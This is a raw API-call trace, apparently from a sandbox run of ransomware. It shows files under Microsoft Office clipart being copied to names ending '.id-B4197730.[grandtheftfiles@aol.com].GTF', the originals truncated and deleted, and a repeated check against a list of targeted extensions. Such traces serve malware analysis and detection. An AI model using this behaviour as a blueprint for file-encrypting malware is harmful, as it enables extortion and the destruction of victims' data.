	[0088.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.873] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10644) returned 1
	[0088.873] CloseHandle (hObject=0x390) returned 1
	[0088.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220
	[0088.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.873] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.873] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.874] GetLastError () returned 0x0
	[0088.874] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2994, lpOverlapped=0x0) returned 1
	[0088.877] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0088.878] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.878] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.878] SetEndOfFile (hFile=0x39c) returned 1
	[0088.878] CloseHandle (hObject=0x39c) returned 1
	[0088.878] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.878] SetEndOfFile (hFile=0x390) returned 1
	[0088.879] CloseHandle (hObject=0x390) returned 1
	[0088.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString=".doc") returned 4
	[0088.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString=".docx") returned 5
	[0088.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.880] lstrlenW (lpString=".pdf") returned 4
	[0088.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString=".xls") returned 4
	[0088.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.880] lstrlenW (lpString=".xlsx") returned 5
	[0088.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.880] lstrlenW (lpString=".ppt") returned 4
	[0088.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString=".zip") returned 4
	[0088.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.880] lstrlenW (lpString=".rar") returned 4
	[0088.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString=".bz2") returned 4
	[0088.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString=".7z") returned 3
	[0088.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString=".dbf") returned 4
	[0088.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString=".1cd") returned 4
	[0088.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.880] lstrlenW (lpString=".jpg") returned 4
	[0088.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString=".doc") returned 4
	[0088.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString=".docx") returned 5
	[0088.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.881] lstrlenW (lpString=".pdf") returned 4
	[0088.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString=".xls") returned 4
	[0088.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.881] lstrlenW (lpString=".xlsx") returned 5
	[0088.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.881] lstrlenW (lpString=".ppt") returned 4
	[0088.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString=".zip") returned 4
	[0088.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.881] lstrlenW (lpString=".rar") returned 4
	[0088.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString=".bz2") returned 4
	[0088.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString=".7z") returned 3
	[0088.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString=".dbf") returned 4
	[0088.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString=".1cd") returned 4
	[0088.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0088.881] lstrlenW (lpString=".jpg") returned 4
	[0088.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.882] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.882] lstrlenW (lpString="HH00625_.WMF") returned 12
	[0088.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.882] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2116) returned 1
	[0088.882] CloseHandle (hObject=0x390) returned 1
	[0088.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220
	[0088.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.882] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.882] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.883] GetLastError () returned 0x0
	[0088.883] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x844, lpOverlapped=0x0) returned 1
	[0088.885] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x850, lpOverlapped=0x0) returned 1
	[0088.886] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.886] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.886] SetEndOfFile (hFile=0x39c) returned 1
	[0088.886] CloseHandle (hObject=0x39c) returned 1
	[0088.886] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.886] SetEndOfFile (hFile=0x390) returned 1
	[0088.887] CloseHandle (hObject=0x390) returned 1
	[0088.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0088.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.887] lstrlenW (lpString=".doc") returned 4
	[0088.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.887] lstrlenW (lpString=".docx") returned 5
	[0088.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.887] lstrlenW (lpString=".pdf") returned 4
	[0088.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString=".xls") returned 4
	[0088.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.888] lstrlenW (lpString=".xlsx") returned 5
	[0088.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.888] lstrlenW (lpString=".ppt") returned 4
	[0088.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString=".zip") returned 4
	[0088.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.888] lstrlenW (lpString=".rar") returned 4
	[0088.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString=".bz2") returned 4
	[0088.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString=".7z") returned 3
	[0088.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString=".dbf") returned 4
	[0088.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString=".1cd") returned 4
	[0088.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString=".jpg") returned 4
	[0088.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.888] lstrlenW (lpString=".doc") returned 4
	[0088.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString=".docx") returned 5
	[0088.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.888] lstrlenW (lpString=".pdf") returned 4
	[0088.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.888] lstrlenW (lpString=".xls") returned 4
	[0088.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.888] lstrlenW (lpString=".xlsx") returned 5
	[0088.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.889] lstrlenW (lpString=".ppt") returned 4
	[0088.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.889] lstrlenW (lpString=".zip") returned 4
	[0088.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.889] lstrlenW (lpString=".rar") returned 4
	[0088.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.889] lstrlenW (lpString=".bz2") returned 4
	[0088.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.889] lstrlenW (lpString=".7z") returned 3
	[0088.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.889] lstrlenW (lpString=".dbf") returned 4
	[0088.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.889] lstrlenW (lpString=".1cd") returned 4
	[0088.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0088.889] lstrlenW (lpString=".jpg") returned 4
	[0088.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.889] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.889] lstrlenW (lpString="HH00636_.WMF") returned 12
	[0088.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.889] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1568) returned 1
	[0088.889] CloseHandle (hObject=0x390) returned 1
	[0088.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220
	[0088.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.890] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.890] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.890] GetLastError () returned 0x0
	[0088.890] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x620, lpOverlapped=0x0) returned 1
	[0088.893] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x630, lpOverlapped=0x0) returned 1
	[0088.894] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.894] WriteFile (in: hFile=0x39c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.894] SetEndOfFile (hFile=0x39c) returned 1
	[0088.894] CloseHandle (hObject=0x39c) returned 1
	[0088.894] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.894] SetEndOfFile (hFile=0x390) returned 1
	[0088.895] CloseHandle (hObject=0x390) returned 1
	[0088.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0088.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.895] lstrlenW (lpString=".doc") returned 4
	[0088.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.895] lstrlenW (lpString=".docx") returned 5
	[0088.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.896] lstrlenW (lpString=".pdf") returned 4
	[0088.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString=".xls") returned 4
	[0088.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.896] lstrlenW (lpString=".xlsx") returned 5
	[0088.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.896] lstrlenW (lpString=".ppt") returned 4
	[0088.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString=".zip") returned 4
	[0088.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.896] lstrlenW (lpString=".rar") returned 4
	[0088.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString=".bz2") returned 4
	[0088.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString=".7z") returned 3
	[0088.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString=".dbf") returned 4
	[0088.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString=".1cd") returned 4
	[0088.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString=".jpg") returned 4
	[0088.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.896] lstrlenW (lpString=".doc") returned 4
	[0088.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString=".docx") returned 5
	[0088.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.896] lstrlenW (lpString=".pdf") returned 4
	[0088.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.896] lstrlenW (lpString=".xls") returned 4
	[0088.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.896] lstrlenW (lpString=".xlsx") returned 5
	[0088.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.897] lstrlenW (lpString=".ppt") returned 4
	[0088.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.897] lstrlenW (lpString=".zip") returned 4
	[0088.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.897] lstrlenW (lpString=".rar") returned 4
	[0088.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.897] lstrlenW (lpString=".bz2") returned 4
	[0088.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.897] lstrlenW (lpString=".7z") returned 3
	[0088.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.897] lstrlenW (lpString=".dbf") returned 4
	[0088.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.897] lstrlenW (lpString=".1cd") returned 4
	[0088.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0088.897] lstrlenW (lpString=".jpg") returned 4
